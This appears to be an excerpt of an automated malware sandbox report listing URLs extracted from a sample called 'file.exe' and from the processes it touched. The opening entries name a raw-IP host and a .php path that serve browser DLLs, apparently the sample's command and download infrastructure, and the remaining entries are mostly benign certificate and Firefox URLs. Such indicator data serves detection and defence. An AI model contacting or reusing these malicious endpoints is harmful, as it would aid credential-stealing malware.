Source: file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll
Source: file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll
Source: file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dllU
Source: file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll
Source: file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dllj
Source: file.exe, 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll
Source: file.exe, 00000000.00000002.2140652830.0000000002678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dlle
Source: file.exe, 00000000.00000002.2140652830.00000000026AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll
Source: file.exe, 00000000.00000002.2140652830.00000000026AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dllf
Source: file.exe, 00000000.00000002.2160956008.0000000028B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/e
Source: file.exe, 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.315499d72b3a3e55be.phposition:
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: firefox.exe, 00000010.00000003.2252300150.0000025CA9186000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2252869772.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org
Source: firefox.exe, 00000010.00000003.2252300150.0000025CA9186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/
Source: firefox.exe, 00000010.00000003.2549876559.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265783012.0000025CACBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-android-aarch64-42954cf0fe8a2bdc97fdc180462a3eaefceb035f.zi
Source: firefox.exe, 00000010.00000003.2549876559.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265783012.0000025CACBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-android-arm-42954cf0fe8a2bdc97fdc180462a3eaefceb035f.zip
Source: firefox.exe, 00000010.00000003.2549876559.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265783012.0000025CACBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-android-x86-42954cf0fe8a2bdc97fdc180462a3eaefceb035f.zip
Source: firefox.exe, 00000010.00000003.2549876559.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265783012.0000025CACBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-android-x86_64-42954cf0fe8a2bdc97fdc180462a3eaefceb035f.zip
Source: firefox.exe, 00000010.00000003.2549876559.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265783012.0000025CACBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-linux32-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
Source: firefox.exe, 00000010.00000003.2549876559.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265783012.0000025CACBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-linux64-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
Source: firefox.exe, 00000010.00000003.2549876559.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265783012.0000025CACBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-macosx64-2e1774ab6dc6c43debb0b5b628bdf122a391d521-2.zip
Source: firefox.exe, 00000010.00000003.2549876559.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265783012.0000025CACBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-macosx64-aarch64-2e1774ab6dc6c43debb0b5b628bdf122a391d521-2
Source: firefox.exe, 00000010.00000003.2549876559.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265783012.0000025CACBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-win32-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
Source: firefox.exe, 00000010.00000003.2252300150.0000025CA9186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-win64-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
Source: firefox.exe, 00000010.00000003.2549876559.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265783012.0000025CACBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-win64-aarch64-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
Source: firefox.exe, 00000010.00000003.2274234162.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2138040584.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2264234395.0000025CAD493000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: svchost.exe, 0000000D.00000002.2758512304.000001B9AF800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: firefox.exe, 00000010.00000003.2550492663.0000025CA6CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000010.00000003.2252300150.0000025CA9186000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2031691341.0000025CADE6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000010.00000003.2531494667.0000025CA91D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2031691341.0000025CADE6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF6AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 0000000D.00000003.2741996189.000001B9AAB04000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2484335910.000001B9AF662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/kllixotnpds7744rxml34fyxka_2024.7.17.0/go
Source: svchost.exe, 0000000D.00000002.2760960271.000001B9AF88D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: firefox.exe, 00000010.00000003.2565896275.0000025CA6D32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://en.w
Source: firefox.exe, 00000010.00000003.2153546129.0000025CA6381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times0
Source: firefox.exe, 00000010.00000003.2153546129.0000025CA6381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: firefox.exe, 00000010.00000003.2072486574.0000025CAC73E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2063422564.0000025CA83F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2119135401.0000025CAABA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2256404512.0000025CAAB8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2082635570.0000025CAA487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2071931935.0000025CAD448000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2082495479.0000025F0003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2119369835.0000025CAAB8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2256404512.0000025CAAB9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2075178603.0000025CAABC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2071227014.0000025CADE1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2267835404.0000025CAC740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2280116249.0000025CAAE37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2038187297.0000025CADE1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2071931935.0000025CAD451000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2064709289.0000025CAABC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2069917574.0000025CAABC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2064709289.0000025CAAB8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2075342113.0000025CAABA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2081404970.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2279197075.0000025CAAB9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2264234395.0000025CAD493000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: firefox.exe, 00000010.00000003.2274234162.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2138040584.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: firefox.exe, 00000010.00000003.2274234162.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2138040584.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000010.00000003.2553517995.0000025CA6D34000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2553368159.0000025CA6D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.agfamonotype.
Source: firefox.exe, 00000010.00000003.2697273253.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2695498290.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2698408799.0000025CA6D32000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2694550180.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2692861028.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2694887751.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2695087700.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2572783043.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2697627315.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2696591655.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2696952261.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2696147821.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2698213446.0000025CA6D32000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2693249180.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2697865089.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2693720495.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: firefox.exe, 00000010.00000003.2696591655.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2696952261.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2696147821.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comC
Source: firefox.exe, 00000010.00000003.2572783043.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comTC
Source: firefox.exe, 00000010.00000003.2696147821.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comTCX
Source: firefox.exe, 00000010.00000003.2697627315.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2697865089.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comX
Source: firefox.exe, 00000010.00000003.2708415909.0000025CAC558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: firefox.exe, 00000010.00000003.2693720495.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comtnum
Source: firefox.exe, 00000010.00000003.2697627315.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2697865089.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comx
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: firefox.exe, 00000010.00000003.2529855073.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2530144138.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: firefox.exe, 00000010.00000003.2530144138.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2570707146.0000025CA6D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: firefox.exe, 00000010.00000003.2570707146.0000025CA6D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designerss
Source: firefox.exe, 00000010.00000003.2529855073.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2530144138.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comb
Source: firefox.exe, 00000010.00000003.2534004573.0000025CA6D32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comlvfet
Source: firefox.exe, 00000010.00000003.2274234162.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2138040584.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000010.00000003.2821980823.0000025CA6D2D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2752701999.0000025CA6D29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: firefox.exe, 00000010.00000003.2818108690.0000025CA6D2F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2787109414.0000025CA6D29000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2811756104.0000025CA6D2F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2774992829.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2820034327.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2828166087.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2827177838.0000025CA6D2F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2821980823.0000025CA6D2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/8
Source: firefox.exe, 00000010.00000003.2770878514.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2752701999.0000025CA6D29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/F
Source: firefox.exe, 00000010.00000003.2787109414.0000025CA6D29000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2811756104.0000025CA6D2F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2774992829.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2770878514.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/P
Source: firefox.exe, 00000010.00000003.2818108690.0000025CA6D2F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2787109414.0000025CA6D29000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2811756104.0000025CA6D2F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2774992829.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2820034327.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: file.exe, file.exe, 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2264234395.0000025CAD493000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com0
